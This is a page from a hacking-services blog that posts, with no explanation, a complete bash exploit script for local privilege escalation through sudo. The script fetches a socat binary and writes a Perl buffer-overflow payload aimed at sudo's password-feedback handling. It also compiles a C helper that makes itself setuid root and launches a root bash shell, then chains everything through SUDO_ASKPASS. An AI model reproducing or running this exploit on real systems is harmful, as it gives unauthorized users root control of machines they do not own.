Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86389728

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/bin/bash
# We will need socat to run this.
if [ ! -f socat ];
then
    wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
    chmod +x socat
fi

cat <<EOF > xpl.pl
\$buf_sz = 256;
\$askpass_sz = 32;
\$signo_sz = 4*65;
\$tgetpass_flag = "\x04\x00\x00\x00" . ("\x00"x24);
print("\x00\x15"x(\$buf_sz+\$askpass_sz) .
     ("\x00\x15"x\$signo_sz) .
     (\$tgetpass_flag) . "\x37\x98\x01\x00\x35\x98\x01\x00\x35\x98\x01\x00\xff\xff\xff\xff\x35\x98\x01\x00\x00\x00\x00\x00".
     "\x00\x00\x00\x00\x00\x15"x104 . "\n");
EOF

cat <<EOF > exec.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
        printf("Exploiting!\n");
        int fd = open("/proc/self/exe", O_RDONLY);
        struct stat st;
        fstat(fd, &st);
        if (st.st_uid != 0)
        {
                fchown(fd, 0, st.st_gid);
                fchmod(fd, S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
        }
        else
        {
                setuid(0);
                execve("/bin/bash",NULL,NULL);
        }
return 0;
}
EOF
cc -w exec.c -o /tmp/pipe
./socat pty,link=/tmp/pty,waitslave exec:"perl xpl.pl"&
sleep 0.5
export SUDO_ASKPASS=/tmp/pipe
sudo -k -S id < /tmp/pty
/tmp/pipe